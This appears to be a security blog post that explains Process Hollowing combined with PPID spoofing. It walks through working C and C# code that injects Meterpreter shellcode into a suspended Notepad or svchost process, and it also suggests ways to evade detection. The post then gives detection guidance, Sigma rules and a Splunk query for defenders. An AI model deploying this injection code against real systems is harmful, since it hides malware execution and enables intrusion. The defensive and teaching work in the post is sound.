The Nightmare of Proc Hollow’s Exe
In the last blog on Parent Process ID (PPID) Spoofing, we discussed how to hide the malicious process by giving it a legit parent. In this blog, we are going to discuss yet another method of hiding malicious code, using Process Hollowing. At a high level, this is where malicious code launches a new process, then overwrites parts of it, and then allows the process to continue running. When a specific event is triggered, the malicious code is executed. Process Hollowing works well with PPID spoofing because of the need to start a new process. Spoofing the new program's parent ID is a good way to make our process look benign and add an extra layer of misdirection.
1.1 What is Process Hollowing?
Process Hollowing is a type of code injection. It is used by attackers to hide the malicious code in a process that appears to be benign and hides the original process that performed the injection. Process Hollowing starts a new program and injects malicious code into it. Because the new program was created by us, we have control over its memory. Unlike other code injection techniques where we could allocate new memory to store the malicious code, Process Hollowing attempts to overwrite the existing code. Depending on how the code is overwritten, it will most likely corrupt the original execution, causing the normal usage of the launched program to not execute.
1.2 How Does it Work?
We will call the original process performing the injection a.exe. This doesn't have to be an executable—it could be shell code that executed during an RCE exploit—but for this discussion, it will be an exe. The victim executes a.exe; a.exe then creates a new Notepad process in a suspended state. The suspended state tells the system to load and resolve dependencies but not to call the entry point yet. Next, a.exe determines the location to inject the malicious code. In most cases, this will be at the entry point of the spawned process, but there is an alternative method of RunPE but that will not be discussed in this blog. Overwriting the entry point will guarantee that the malicious code will be called first, taking complete control of the program. After the entry point has been overwritten, a.exe will resume the process executing the malicious code.
Figure 3 will aid in illustrating the similarities between a benign Notepad and a Notepad that has had malicious code injected. Figure 3 shows the properties of the benign Notepad process (PID 6780). The properties show the name and path of the executable the current Process ID (PID), the parent PID (PPID), when it was started, and the address of the Process Environment Block (PEB). Figure 4 is another way to show the parent and the process IDs.
Figure 5 shows the properties of the notepad that has malicious code injected into it. Also note that a.exe utilizes the PPID discussed in the previous blog to spoof the PPID to make it look like explorer is the parent. There are few items that are different between Figure 3 and Figure 5.
Item Name that Changed | Figure 3 | Figure 5 |
---|---|---|
Command Line | Full path to notepad.exe | Abbreviated to “Notepad” |
Current Directory Path | Users home directory | Directory used to execute the process_hollowing.exe |
PEB Address | Due to Address Space Layout Randomization (ALSR) this value will change for every execution |
The original Notepad's entry point is shown in Figure 7, and the modified entry point is shown in Figure 8 with the Meterpreter reverse shell code at the entry point. Figure 9 is a hex dump of the Meterpreter shell code from the source code. This is just verification that the code running at the entry point is the malicious code.
The a.exe, shown below as process_hollow.exe for demonstration purposes, prints different information about the memory layout to the console. In this case, the process_hollow.exe takes two command line arguments: the first is the IP address of the Meterpreter C2 listening for the connection, and the second argument is the PID of the parent to spoof; in this case it is the explore.exe (PID 4752). During execution, it calculates the address of the remote process' (Notepad's) PEB. Using the PEB, it calculates the Image Base Address, where the raw notepad executable code lives, parses the PE header to find the entry point, and then overwrites it.
Figure 11 shows the memory layout and that nothing has really been affected by the injection of malicious code. Figure 12 is just a closer view of the parts of the Notepad memory. Figure 13 Is the connection on the C2 from the injected shellcode and proof that it is running from the Notepad with the PID of 4048.
1.3 What Do the Attackers Gain?
Just like with the PPID Spoofing, attackers use Process Hollowing to hide the malicious code and its execution from casual inspection. If a defender looks at this system, the malware might be overlooked on the first or even the second pass because it is running in a benign executable with a valid parent. However, in this case, it is identifiable due to Notepad's outbound connection.
To make this harder to detect, we could have made the parent ID that of Firefox (PID 3976) and started a Firefox executable to host our injected code. Then the network traffic wouldn't be as suspicious. Another route to remain hidden would be to use a long-haul agent and C2, where they only beacon out intermittently, allowing for connections to be visible only when polling for tasking.
Another benefit of Process Hollowing is it will not affect code signature validation of the process. This is because the file on disk (%system32%\notepad.exe in this case) is examined for the code sig verification and not the process in memory.
1.4 How Can Defenders Identify and Stop Process Hollowing?
Attempting to detect the Process Hollowing technique is difficult in most environments. The following are some detection ideas that apply principles in the hopes that you can conceptualize a detection strategy based around security tools at your disposal:
- Monitor process creation events for any anomalies. For instance, why is a process started with the CREATE_SUSPENDED flag? This is not indictive of malicious activities by itself but should warrant immediate further investigation. You can see an example in the C# and C code below, where the CREATE_SUSPENDED flag is passed. In the Ghidra Disassembly below, you can see where the CREATE_SUSPENDED (0x4) attribute is passed as value 0x80004 (Line 91 in section 1.5 Code Demonstration in C) when CreateProcessA is called as referencearticle https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags.
- Monitor or investigate any entry point changes that occur on the suspicious process. During the Process Hollowing operation, the entry point is overwritten with malicious code. Usually, ResumeThread is called to initiate the malware. You can use a tool like HollowFind by Monnappa K A (https://github.com/monnappa22/HollowFind) to analyze possible infected processes and use the Volatility plugin to disassemble the address of the entry point. An example of this can be the entry point being modified by the SetThreadContext api.
- Monitor or investigate memory allocation, such as malware using the WriteProcessMemory function to write data to a remote process. If an organization has the resources to monitor memory allocation patterns to identify possible events of abnormal behavior, this can narrow down suspicious code injection. A good detection strategy can be to write API signatures (usually in sandboxes) based sequentially; for instance, the following usually indicates code injections: CreateProcess, VirtualAllocEx(), and WriteProcessMemory.
- This Process Hollowing technique is used with PPID Spoofing. Monitoring and investigating parent-child relationships can be a good starting point for the initial investigation. Some detection ideas of a parent-child relationship rule could be abnormal (unexpected) parent process spawning the child process in question. This can be investigated using Windows Event ID 4688 or Sysmon 1 (most mid to advance actors will not make it this easy). You can also analyze the ETW Microsoft-Windows-Kernel-Process provider, specifically the EventHeader ProcessId field to show the real parent of the spawn process. Be careful about false positives if you use the ETW log mentioned, such as the legitimate spoofing when User Account Control (UAC) is enabled on the machine.
- Analyzing the process properties and behavior can help confirm the suspicious process of 'Hollowing'. In normal operation, the process should have the same references between the Process Environment Block (PEB) and the Virtual Address Descriptor (VAD). Analyzing the PEB and VAD structures to compare the results of the stored information about the process with the base address, process path and the virtual address space allocation, you can observe the reference change due to the unmapping of memory in the 'Hollowed' process. You can also analyze command line arguments of the suspicious process for any unusual parameters and compare the process in question to known good (normal) command line parameters in the environment.
Detection Ideas
Researching the Process Hollowing technique and looking at the proof-of-concept (POC) below, we can see some functions that we can monitor, such as CreateProcess, ReadProcessMemory, WriteProcessMemory, and ResumeThread. After all, the general operation of Process Hollowing is as follows:
- Create a trusted process in a SUSPENDED state.
- 'Hollow' out the content in memory.
- Insert malicious code.
- Resume the process.
In the screenshot below, observe where the process is started in a suspended set. Next, the memory is 'zeroed' out and allocated to write the malicious shellcode. Lastly, the process is resumed.
Proof-of-Concept Query and Sigma Rule
We developed a POC query and Sigma rule (experimental) based on the following research in this blog post. The caveat is that every environment is different, and this detection will require additional tuning and refinement.
Process Hollowing Process Access Sigma Rule:
title: Process Hollowing Process Access Event id: 8c73e59e-bf22-42b9-9022-bb20406acdda status: experimental description: Detects suspicious process hollowing activity by monitoring process access events and correlating with process create events references: - https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-336a - https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing - https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti - https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags author: Leo Bastidas @cyberGoatPsyOps date: 2023/05/11 tags: - attack.t1055.012 - attack.defense_evasion - attack.privilege_escalation logsource: category: process_access product: windows definition: Must have Sysmon installed and correlate by matching SourceUser and SourceProcessGuid to Sysmon EID 1. You can also use Sysmon Event 25 to correlate detection: selection: GrantedAccess: - 0x1FFFFF - 0x1F3FFF SourceUser: # Correlate with Sysmon EID 1 ParentUser field SourceProcessGUID: # Correlate with Sysmon EID 1 ProcessGuid field filter: SourceImage|endswith: - 'NGenTask.exe' - 'WerFault.exe' - 'Sysmon64.exe' - 'apimonitor-x64.exe' - 'MicrosoftEdgeUpdate.exe' condition: selection and not filter fields: - UtcTime - EventCode - host - ProcessId - ParentProcessId - Image - ParentImage falsepositives: - Legitimate administrative activities level: medium level: medium
Process Hollowing Process Create Sigma Rule:
title: Process Hollowing Process Create Event id: e8cbd6c4-7a59-46df-a1f1-f5d46415045d status: experimental description: Detects suspicious process hollowing activity by correlating with process access events references: - https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-336a - https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing - https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti - https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags author: Leo Bastidas @cyberGoatPsyOps date: 2023/05/11 tags: - attack.t1055.012 - attack.defense_evasion - attack.privilege_escalation logsource: category: process_creation product: windows definition: Must have Sysmon installed. You can also use Sysmon Event 25 to correlate detection: selection1: ParentUser: # You correlate ParentUser to SourceUser from EventID 10 selection2: ProcessGuid: # You correlate ProcessGuid to SourceProcessGuid from EventID 10 filter: Image|endswith: - 'wevtutil.exe' - 'MicrosoftEdgeUpdate.exe' - 'teams' ParentImage|endswith: - 'apimonitor-x64.exe' condition: all of selection* and not filter fields: - UtcTime - EventCode - host - ProcessId - ParentProcessId - Image - ParentImage falsepositives: - Legitimate administrative activities level: medium
Process Hollowing Splunk Query:
(index=windows EventCode=10 GrantedAccess IN ("0x1FFFFF", "0x1F3FFF") AND NOT (SourceImage IN ("*NGenTask.exe", "*WerFault.exe", "*Sysmon64.exe", "*apimonitor-x64.exe", "*MicrosoftEdgeUpdate.exe","*git") OR (TargetImage IN ("*git.exe")))) | eval matchGUID=TargetProcessGUID | eval matchUser=SourceUser | append [ search (index=windows EventCode IN (1) AND NOT (Image IN ("*wevtutil.exe","*MicrosoftEdgeUpdate.exe", "*teams.exe","*git.exe") OR ParentImage IN ("*apimonitor-x64.exe","*git.exe*"))) | eval matchGUID=ParentProcessGuid | eval matchUser=ParentUser | stats values(*) as * by matchGUID, matchUser ] | append [ search (index=windows EventCode IN (25)) | rex field=Message "(?ims)(.*process\stampering.*image:\s(?<tamperedImage>.*\.\w{2,5}))" ] | eval image = mvappend('Image','SourceImage') | mvexpand image | eval processId = mvappend('ProcessId','SourceProcessId') | mvexpand processId | table UtcTime matchGUID, matchUser, tamperedImage, host, processId, ParentProcessId, TargetProcessId, image, ParentImage, TargetImage, GrantedAccess, CallTrace | dedup UtcTime | sort -UtcTime
Detail Breakdown of the Query:
- The query first pulls Windows Event Logs with an EventCode of 10, which are Process Access Event, and a GrantedAccess value of 0x1FFFFF or 0x1F3FFF. This indicates that a process has gained full access permissions to another process. This is often an indicator of suspicious activity but remember that Process Hollowing does not need full access.
- The query also attempts to filter out known good with the
AND NOT
operator. - The
eval
statement is used to create new fields (matchGUID
andmatchUser
), which will be used for correlation. - An
append
command is used to include process creation events. These events are attempting to identify the source of the process that might be hollowed out. - It appends another subsearch that looks for events with EventCode=25 (Sysmon file tampering) in the Windows index. A regular expression is used to extract the tamperedImage field from the Message field.
- The
stats
command is used to group the results by thematchGUID
andmatchUser
fields. This allows us to track the same process across different events. - The
mvappend
,mvexpand
, andtable
commands are used to combine process IDs and create a table. - The
dedup
command is used to remove any duplicate entries. - The
where isnotnull(TargetProcessId)
condition is used to filter out results where the TargetProcessId is NULL. This was used to filter out results (including some malicious events) to make it easier to observe the spawning of the hollowed-out process. - Finally, the
sort
command is used to order the results based on the timestamp.
As you can see, this is not a 'silver bullet', but will give detection ideas of how to narrow down on possible Process Hollowing techniques. Notice the CallTrace field, where we can view the memory offset of where the legitimate process was created in a suspended state, KERNEL32.DLL+17034.
In the following screenshot, you can also see where the 'hollowing out' is occurring in the CallTrace field.
Note 1:
When coming up with the detection idea, another POC was also used to help analyze any possible data gaps, so I turned to Atomic RedTeam, who led me to FuzzySecurity Start-Hollow PowerShell script (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
Note 2:
The provided Sigma rules are not usable for productions environment that utilize Sigma, they cannot be converted to any other SIEM query language. They are only provided for reference purposes.
1.5 Code Demonstration in C and C#
The first code excerpt demonstrates the Process Hollowing in C. We will be discussing the major points of the code. There are several print statements that aid in understanding of the execution flow that would not normally be added in an active tool.
Line 83 creates the new Notepad process in a suspended state. We will inject our malicious code into this process. Of note, the EXTENDED_STARTUPINFO_PRESENT is used to aid with the PPID spoofing.
Lines 87–88 initialize the PROCESS_BASIC_INFORMATION structure and set its memory to zero.
Line 89 obtains a Handle to the Notepad instance we just started.
Line 91 uses the Notepad handle to populate the PROCES_BASIC_INFORMATION structure.
Lines 92–93 get a reference to the Notepad PEB.
Lines 94–95 use the PEB and the 0x10 offset to get a pointer to address to the MZ header of the Notepad process. The 0x10 offset is used for 64-bit windows. The offset for 32-bit windows is 0x8.
Line 98 reads eight (8) bytes from the Notepad memory to get the actual address of the MZ Header.
Line 108 reads the MZ and the PE header from Notepads memory.
Line 115 uses the MZ header, copied above, to get the offset to the PE header.
Line 116–118 calculates the pointer to the entry point by using the PE offset + 0x28. 0x28 is the offset to the pointer to the address of the entry point.
Lines 119–122 move the address into a pointer to which it will be written.
Line 123 overwrites the entry point with our malicious code.
Line 130 is the most important part: Resume the paused Notepad thread to execute the malicious code.
83 CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED, NULL, NULL, &si.StartupInfo, &pi); 84 // PPID Spoofing 85 86 // Process Hollowing 87 PROCESS_BASIC_INFORMATION bi = {}; 88 memset(&bi, 0, sizeof(PROCESS_BASIC_INFORMATION)); 89 HANDLE hProcess = pi.hProcess; 90 PULONG tmp = 0; 91 NtQueryInformationProcess(hProcess, ProcessBasicInformation, &bi, sizeof(PROCESS_BASIC_INFORMATION), tmp); 92 PEB *peb = bi.PebBaseAddress; 93 printf("PEB address(remote): %p\n", peb); 94 PVOID ptrToImageBase = (PVOID)(((char*)peb)+0x10); 95 printf("ImageBaseAddress(remote): 0x%llx\n", ptrToImageBase); 96 QWORD addrBuf = 0; 97 SIZE_T tmp2 = 0; 98 if(ReadProcessMemory(hProcess, ptrToImageBase, &addrBuf, 8, &tmp2) == 0) 99 { 100 char* errorStr = GetLastErrorAsString(); 101 printf("Error'd out: %s\n", errorStr); 102 free(errorStr); 103 exit(1); 104 } 105 106 printf("Remote Image Address(remote): 0x%llx\n", addrBuf); 107 char data[0x200] = {0}; 108 if(ReadProcessMemory(hProcess, (PVOID)addrBuf, data, 0x200, &tmp2) == 0) 109 { 110 char* errorStr = GetLastErrorAsString(); 111 printf("Error'd out: %s\n", errorStr); 112 free(errorStr); 113 exit(1); 114 } 115 QWORD *ppeHdrOffset =(QWORD*)(data+0x3c); 116 DWORD peHdrOffset = *ppeHdrOffset; 117 printf("peoffset(remote): 0x%llx\n", peHdrOffset); 118 QWORD *ptrEntryOffset =(QWORD*)(data+peHdrOffset+0x28); 119 DWORD entryOffset = *ptrEntryOffset; 120 printf("entryOffset(remote): 0x%llx\n", entryOffset); 121 QWORD *ptrEntryPoint =(QWORD*)(addrBuf+entryOffset); 122 printf("Writting memory too(remote): 0x%llx\n", ptrEntryPoint); 123 if( WriteProcessMemory(hProcess, ptrEntryPoint, buf, encoded_size, &tmp2) == 0) 124 { 125 char* errorStr = GetLastErrorAsString(); 126 printf("Error'd out: %s\n", errorStr); 127 free(errorStr); 128 exit(1); 129 } 130 ResumeThread(pi.hThread); 131 }
The next code excerpt is in C# and performs the same actions as the above code sample. Let's walk through the code line by line.
Lines 171–182 creates the new process into which we will inject. In this case, we are spawning a svchost.exe with a parent services.exe. Again, the important flag is the Win32.CreationFlags.CreateSuspended. The Win32 class used in the C# code is a class used to hold Windows-related ENUMs, structures, and references to helper functions such as CreateProcess.
Line 185 is commented-out but was the way to spawn svchost.exe without the suspended or PPID spoofing.
Line 188 retrieves a Handle from the newly created svchost’s process.
Line 189 uses the svchost’s handle to populate the PROCES_BASIC_INFORMATION structure.
Line 191 gets a reference to the Notepad PEB and uses the PEB and the 0x10 offset to get a pointer to address to the MZ header of the Notepad process. The 0x10 offset is used for 64-bit windows. The offset for 32-bit windows is 0x8.
Lines 195–196 read eight (8) bytes from the svchost’s memory to get the actual address of the MZ Header. Then it converts the byte array to apointer.
Line 199 reads the MZ and the PE header from svchost’s memory.
Lines 201–203 use the MZ header, copied above, to get the offset to the PE header, and then calculate the pointer to the entry point by using the PE offset + 0x28. 0x28 is the offset to the pointer to the address of entry point.
Line 206 overwrites the entry point with our malicious code.
Line 207 is the most important part: Resume the paused Notepad thread to execute the malicious code.
Lines 209–220 this section of code performs exception handling and cleanup of memory.
171 Win32.CreateProcess( 172 null, 173 "c:\\Windows\\System32\\svchost.exe", 174 ref processSecurity, 175 ref threadSecurity, 176 false, 177 Win32.CreationFlags.ExtendedStartupInfoPresent | Win32.CreationFlags.CreateSuspended, 178 IntPtr.Zero, 179 null, 180 ref startInfoEx, 181 out processInfo 182 ); 183 // PPID Spoofing 184 185 // bool res = CreateProcess(null, "c:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi); 186 187 uint tmp = 0; 188 IntPtr hProcess = processInfo.hProcess; 189 ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); 190 191 IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); 192 193 byte[] addrBuf = new byte[IntPtr.Size]; 194 IntPtr nRead = IntPtr.Zero; 195 ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); 196 IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); 197 198 byte[] data = new byte[0x200]; 199 ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); 200 201 uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3c); 202 uint opthdr = e_lfanew_offset + 0x28; 203 uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); 204 IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); 205 206 WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead); 207 ResumeThread(processInfo.hThread); 208 } 209 catch (Exception e) 210 { 211 Console.Error.WriteLine(e.StackTrace); 212 } 213 finally 214 { 215 Win32.DeleteProcThreadAttributeList(startInfoEx.lpAttributeList); 216 Marshal.FreeHGlobal(startInfoEx.lpAttributeList); 217 Marshal.FreeHGlobal(lpValue); 218 219 Console.WriteLine("{0} started", processInfo.dwProcessId); 220 }
1.6 Reversing the Code
The C code discussed earlier was compiled into a Windows 64 bit executable using MinGW, then disassembled and decompiled with Ghidra. As you can see below, the Ghidra-generated source code is a very close match to the original.
Reversing most C# code is simple with the tool dnSpy. There are methods to hide or corrupt the .exe so that dnSpy cannot decompile it, but for the most part, attackers do not go to that extent.
To load the executable in dnSpy, simply drag and drop it onto the left pane. Once loaded, the pane will provide a tree listing of the components of the .exe.
1.7 Conclusion
The technique of Process Hollowing is not very complicated and is useful to attackers wishing to obfuscate the attack process. As shown above, the implementation is fairly easy, and detections are not normally available in most environments and require the use of special detections.
The process of identifying and mitigating Process Hollowing techniques is challenging. It requires a fundamental understanding of process creation events, the process parent-child relationships, memory allocation, and the methods used in the technique itself. We have discussed potential strategies that hopefully inspire you to develop your own detections.
We also presented a POC detection attempting to identify Process Hollowing. While not a 'silver bullet', it provides a starting point for tuning your own detection. Remember that every environment is different, and you will need to refine and tune it to your organization.
Lastly, remember to consider these strategies as part of a defensive in-depth approach. Process Hollowing is just one of many process injection techniques and a small subset of a broader range of techniques that attackers may use. Continuously monitoring for anomalies is a never-ending battle, but with the right tools, knowledge, and attention to detail, you can effectively defend your environment.